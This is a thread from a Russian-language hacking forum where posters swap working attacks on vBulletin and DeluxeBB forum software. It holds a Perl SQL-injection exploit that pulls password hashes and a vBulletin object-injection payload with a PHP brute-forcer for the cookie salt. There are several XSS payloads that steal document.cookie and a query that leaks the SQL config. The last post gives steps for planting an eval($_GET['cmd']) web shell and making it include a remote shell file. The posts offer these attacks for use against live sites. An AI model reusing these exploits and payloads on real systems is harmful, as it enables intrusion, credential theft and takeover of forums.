$server =~ s/(http:\/\/)//eg;
 
$path  = $dir;
$path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%20WHERE%20(uid= '".$user ;
 
 
print "[~] PREPARE TO CONNECT...\r\n";
 
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";
 
print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";
 
 
 
print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{
 
 if ($answer =~/(\w{32})/)
{
 
  if ($1 ne 0) {
  print "Password is: ".$1."\r\n";
print "--------------------------------------------------------------------------------------\r\n";
 
      }
exit();
}
 
}
print "------------------------------------------------------------------------------------------------\r\n";


greenly 08.02.2010 15:10

все пашет :cool: здесь просто код кривоват
гугл в помощь

Pashkela 10.02.2010 23:50

регулярка для хоста неправильная, но по всей видимости это спецпорог, т.к. очевидно, что специальная ошибка

Soul Linker 24.02.2010 15:17

Цитата:

Сообщение от Root-access
...
Имеем:
Код:

Fatal error: Cannot use object of type vB_Shutdown as array in /home/xek/domains/xeka.ru/public_html/forum/forumdisplay.php on line 169

Потомучто там
Код:

$temp = unserialize($check);
if ($temp['do'] == 'doenterpwd')
{
        $vbulletin->GPC['postvars'] = '';
}

Соответственно переделываем сериализованную часть:
echo serialize(array('do'=>'do', 'obj' => new vB_Shutdown));
Код:

a:2:{s:2:"do";s:2:"do";s:3:"obj";O:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}}
но как с толком использовать вызов функции без параметров? :(

ps У нуленых by DGT 'COOKIE_SALT' не пустой. :(
pss, но вполне брутабельный.
Брутится исходя из куки "bbforum_view". Например
f544eb9368b8ac964d27534650bff240510eb278a-1-{i-3_i-1267278281_}
Первые 40 символов это хэш соленого сериал. массива:
Код:

$c = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_'; // 36 chars
//                                                        20
$inp = intval(@$argv[1]);

$salt = 'VBF';

for ($a1 = $inp; $a1 <= 35; $a1++)
{
        $salt[3] = $c[$a1];
        for ($a2 = 0; $a2 <= 35; $a2++)
        {
                $salt[4] = $c[$a2];
                for ($a3 = 0; $a3 <= 35; $a3++)
                {
                        $salt[5] = $c[$a3];
                        for ($a4 = 0; $a4 <= 35; $a4++)
                        {
                                $salt[6] = $c[$a4];
                                echo $salt."\n";
                                for ($a5 = 0; $a5 <= 35; $a5++)
                                {
                                        $salt[7] = $c[$a5];
                                        for ($a6 = 0; $a6 <= 35; $a6++)
                                        {
                                                $salt[8] = $c[$a6];
                                                for ($a7 = 0; $a7 <= 35; $a7++)
                                                {
                                                        $salt[9] = $c[$a7];
                                                        if (sha1('a-1-{i-3_i-1267278281_}' . sha1($salt) ) === 'f544eb9368b8ac964d27534650bff240510eb278')
                                                                die('Found: '.$salt);
                                                }
                                        }
                                }
                        }
                }
        }
}

для большинства форумов 3.8.2 ~ 3.8.4 подходит:

Может сказать что не существует такого форума, тогда надо будет подшаманить ?f=26

http://site.com/forumdisplay.php?f=26&do=doenterpwd&newforumpwd=&p ostvars=efeba30e34b02bd0fcdb07795c42eaedad5bf111a: 2:{s:2:%22do%22;s:2:%22do%22;s:3:%22obj%22;O:11:%2 2vB_Shutdown%22:1:{s:8:%22shutdown%22;a:3:{i:0;s:7 :%22phpinfo%22;i:1;s:21:%22debug_print_backtrace%2 2;i:2;s:3:%22die%22;}}}

Никто так и не придумал как эту багу использовать то? :/

iGlass 07.03.2010 00:06

Нашол минут 5 назад.

Незнаю боян не боян, но у себя на форуме версии 3.8.2 когда заходишь в профиль можно написать "Публичное сообщение"

Такой код проходит свободно.
><script>alert(/byby/)</script>

[Feldmarschall] 19.03.2010 19:13

vBulletin® версия 3.7.0 Gold
 
http://forum/serverChecker/?IP=**.**.***.***&port=29901"><script>alert(docume nt.cookie)</script>

(c)Feldmarschall

jecka3000 23.03.2010 01:33

Vbulletin 4.0.2 XSS Vulnerability

Код:

=================================
Vbulletin 4.0.2 XSS Vulnerability
=================================

[+] Vbulletin 4.0.2 XSS Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0    _                  __          __      __                    1
1  /' \            __  /'__`\        /\ \__  /'__`\                  0
0  /\_, \    ___  /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___          1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0    \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/          1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\          0
0      \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/          1
1                  \ \____/ >> Exploit database separated by exploit  0
0                  \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm 5ubzer0  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: 5ubzer0
[+] My id : http://inj3ct0r.com/author/2307
[+] Original : http://inj3ct0r.com/exploits/9697
# Version: Vbulletin 4.0.2

www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query="><script>alert('xss');</script>
www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query="><script>alert(document.cookie);</script>

Exemple:
http://www.forumjogosonline.com.br/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E


# ~ - [ [ : Inj3ct0r : ] ]
# Inj3ct0r.com [2010-03-19]

Jokester 23.03.2010 01:52

Как вы задолбали =\
Не надо ставить копирайты на этого inj3ct0r'а - это копипастер\плагиатор.

Посмотрите у китайцев, эта бага лежит с 9 числа, и если этот клоун поставил туда своё авторство, это не значит, что он автор
http://sebug.net/vulndb/19240/

satana-fu 29.04.2010 03:23

Банальная XSS.
vBulletin® Version 3.8.2

Код:

http://site.ru/forum/modcp/index.php?loc=javascript:document.write('<script>alert(document.cookie);</script>');

PS.
В теме не нашел, в гугле тоже не заметил, что кто то выкладывал. :rolleyes:

Boa 07.06.2010 16:19

Цитата:

3.5.4 - Дамп БД
При переходе по указанной ссылке появляется окошко "Please Enter Your Customer Number". Кк я понял, туда надо вписывать ключ. Вопрос, где взять кейген? Насилование гугла, увы, не дало результатов. :(

Ctacok 05.07.2010 04:27

Пассивка в админке.

3.8.2

Цитата:

Сообщение от None
admincp/css.php?s=&do=edit&dowhat=bla"-->alert(document.cookie);&group=&dostyleid=1


4upakabr0 24.07.2010 04:18

SQL Конфиг в 3.8.6

site.com/forum/faq.php?s=&do=search&q=database&match=all&titleson ly=0

Boa 24.07.2010 14:36

Цитата:

Сообщение от 4upakabr0
SQL Конфиг в 3.8.6
site.com/forum/faq.php?s=&do=search&q=database&match=all&titleson ly=0

Действует только в 3.8.6, или также на более ранних (в частности, на 3.8.4)?

4upakabr0 24.07.2010 17:47

only 3.8.6 because debug bug ^)

/thread219320.html

[Feldmarschall] 29.08.2010 18:44

Цитата:

Сообщение от Pavel1987
Люди а если я заливаю шелл через модули по инструкции (Способ заливки шелла в vBulletin 3.5.*. ), то где он сам появляется?

Продукт: ставим vBulletin

Месторасположение: Vbulletin: Справка - faq_complete

Вставляем в тело код нашего шелла eval($_GET['cmd']);

Сохраняем, идём в faq (справка), если он был такой eval($_GET['cmd']); делаем так site.сom/forumpath/faq.php?cmd=тут команда

site.сom/forumpath/faq.php?cmd=include($_GET[aa]);&aa=http://site.com/shell.txt

Требуется allow_url_include = on


Время: 10:48